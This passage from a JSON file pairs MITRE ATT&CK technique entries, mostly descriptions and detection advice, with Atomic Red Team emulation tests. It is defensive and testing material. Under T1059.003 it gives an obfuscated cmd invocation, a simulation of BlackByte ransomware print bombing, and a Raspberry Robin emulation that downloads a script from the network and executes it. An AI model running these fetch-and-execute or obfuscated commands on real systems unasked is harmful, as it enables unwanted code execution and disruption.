- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1203": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1203",
- "url": "https://attack.mitre.org/techniques/T1203"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
- "modified": "2022-04-18T18:48:06.141Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Exploitation for Client Execution",
- "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise."
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1168": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1168",
- "url": "https://attack.mitre.org/techniques/T1168"
- },
- {
- "url": "https://linux.die.net/man/5/crontab",
- "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
- "source_name": "Die.net Linux crontab Man Page"
- },
- {
- "url": "https://linux.die.net/man/1/at",
- "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
- "source_name": "Die.net Linux at Man Page"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
- "description": "Apple. (n.d.). Retrieved July 17, 2017.",
- "source_name": "AppleDocs Scheduling Timed Jobs"
- },
- {
- "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
- "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
- "source_name": "Janicab"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- },
- {
- "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/",
- "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
- "source_name": "Avast Linux Trojan Cron Persistence"
- }
- ],
- "modified": "2021-03-30T00:51:58.374Z",
- "name": "Local Job Scheduling",
- "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab
file, /etc/cron.d/
directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval
with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1028": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:33.723Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1028",
- "url": "https://attack.mitre.org/techniques/T1028"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa384426",
- "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
- "source_name": "Microsoft WinRM"
- },
- {
- "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
- "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.",
- "source_name": "Jacobsen 2014"
- },
- {
- "source_name": "Medium Detecting Lateral Movement",
- "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
- "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
- }
- ],
- "modified": "2020-02-11T18:30:20.937Z",
- "name": "Windows Remote Management",
- "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm
command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "WinRM listener turned on and configured on remote system"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1059.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
- "type": "attack-pattern",
- "created": "2020-03-09T14:38:24.334Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.006",
- "url": "https://attack.mitre.org/techniques/T1059/006"
- }
- ],
- "modified": "2021-07-26T22:49:23.094Z",
- "name": "Command and Scripting Interpreter: Python",
- "description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe
interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root"
- ],
- "x_mitre_system_requirements": [
- "Python is installed."
- ],
- "identifier": "T1059.006"
- },
- "atomic_tests": []
- },
- "T1569": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253",
- "type": "attack-pattern",
- "created": "2020-03-10T18:23:06.482Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1569",
- "url": "https://attack.mitre.org/techniques/T1569"
- }
- ],
- "modified": "2022-03-22T17:29:46.189Z",
- "name": "System Services",
- "description": "Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Service: Service Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM",
- "root"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1059.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
- "type": "attack-pattern",
- "created": "2020-03-09T14:12:31.196Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.003",
- "url": "https://attack.mitre.org/techniques/T1059/003"
- },
- {
- "source_name": "SSH in Windows",
- "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh",
- "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021."
- }
- ],
- "modified": "2021-07-26T17:13:07.345Z",
- "name": "Command and Scripting Interpreter: Windows Command Shell",
- "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1059.003"
- },
- "atomic_tests": [
- {
- "name": "Create and Execute Batch Script",
- "auto_generated_guid": "9e8894c0-50bd-4525-a96c-d4ac78ece388",
- "description": "Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "Command to execute within script.",
- "type": "string",
- "default": "dir"
- },
- "script_path": {
- "description": "Script path.",
- "type": "path",
- "default": "$env:TEMP\\T1059.003_script.bat"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Batch file must exist on disk at specified location (#{script_path})\n",
- "prereq_command": "if (Test-Path #{script_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item #{script_path} -Force | Out-Null\nSet-Content -Path #{script_path} -Value \"#{command_to_execute}\"\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{script_path}\n",
- "cleanup_command": "Remove-Item #{script_path} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Writes text to a file and displays it.",
- "auto_generated_guid": "127b4afe-2346-4192-815c-69042bec570e",
- "description": "Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_contents_path": {
- "description": "Path to the file that the command prompt will drop.",
- "type": "path",
- "default": "%TEMP%\\test.bin"
- },
- "message": {
- "description": "Message that will be written to disk and then displayed.",
- "type": "string",
- "default": "Hello from the Windows Command Prompt!"
- }
- },
- "executor": {
- "command": "echo \"#{message}\" > \"#{file_contents_path}\" & type \"#{file_contents_path}\"\n",
- "cleanup_command": "del \"#{file_contents_path}\" >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Suspicious Execution via Windows Command Shell",
- "auto_generated_guid": "d0eb3597-a1b3-4d65-b33b-2cda8d397f20",
- "description": "Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "File to output to",
- "type": "string",
- "default": "hello.txt"
- },
- "input_message": {
- "description": "Message to write to file",
- "type": "string",
- "default": "Hello, from CMD!"
- }
- },
- "executor": {
- "command": "%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Simulate BlackByte Ransomware Print Bombing",
- "auto_generated_guid": "6b2903ac-8f36-450d-9ad5-b220e8a2dcb9",
- "description": "This test attempts to open a file a specified number of times in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_to_print": {
- "description": "File to be opened/printed by Wordpad.",
- "type": "string",
- "default": "$env:temp\\T1059_003note.txt"
- },
- "max_to_print": {
- "description": "The maximum number of Wordpad windows the test will open/print.",
- "type": "string",
- "default": 75
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to print must exist on disk at specified location (#{file_to_print})\n",
- "prereq_command": "if (test-path \"#{file_to_print}\"){exit 0} else {exit 1}\n",
- "get_prereq_command": "new-item #{file_to_print} -value \"This file has been created by T1059.003 Test 4\" -Force | Out-Null\n"
- }
- ],
- "executor": {
- "command": "cmd /c \"for /l %x in (1,1,#{max_to_print}) do start wordpad.exe /p #{file_to_print}\" | out-null\n",
- "cleanup_command": "stop-process -name wordpad -force -erroraction silentlycontinue\n",
- "name": "powershell"
- }
- },
- {
- "name": "Command Prompt read contents from CMD file and execute",
- "auto_generated_guid": "df81db1b-066c-4802-9bc8-b6d030c3ba8e",
- "description": "Simulate Raspberry Robin using the \"standard-in\" command prompt feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "CMD file that is read by Command Prompt and execute, which launches calc.exe",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "CMD file must exist on disk at specified location (#{input_file})\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "command": "cmd /r cmd<#{input_file}\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- }
- ]
- },
- "T1223": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a",
- "type": "attack-pattern",
- "created": "2018-10-17T00:14:20.652Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1223",
- "url": "https://attack.mitre.org/techniques/T1223"
- },
- {
- "source_name": "Microsoft HTML Help May 2018",
- "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
- "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
- },
- {
- "source_name": "Microsoft HTML Help ActiveX",
- "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
- "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
- },
- {
- "url": "https://msdn.microsoft.com/windows/desktop/ms524405",
- "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
- "source_name": "Microsoft HTML Help Executable Program"
- },
- {
- "url": "https://msitpros.com/?p=3909",
- "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
- "source_name": "MsitPros CHM Aug 2017"
- },
- {
- "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625",
- "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
- "source_name": "Microsoft CVE-2017-8625 Aug 2017"
- }
- ],
- "modified": "2020-01-31T18:59:00.845Z",
- "name": "Compiled HTML File",
- "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1059.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
- "type": "attack-pattern",
- "created": "2020-03-09T14:29:51.508Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.005",
- "url": "https://attack.mitre.org/techniques/T1059/005"
- },
- {
- "source_name": "VB .NET Mar 2020",
- "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/",
- "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020."
- },
- {
- "source_name": "VB Microsoft",
- "url": "https://docs.microsoft.com/dotnet/visual-basic/",
- "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020."
- },
- {
- "source_name": "Microsoft VBA",
- "url": "https://docs.microsoft.com/office/vba/api/overview/",
- "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020."
- },
- {
- "source_name": "Wikipedia VBA",
- "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications",
- "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020."
- },
- {
- "source_name": "Microsoft VBScript",
- "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)",
- "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020."
- },
- {
- "source_name": "Default VBS macros Blocking ",
- "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805",
- "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022."
- }
- ],
- "modified": "2022-03-07T19:43:49.315Z",
- "name": "Command and Scripting Interpreter: Visual Basic",
- "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
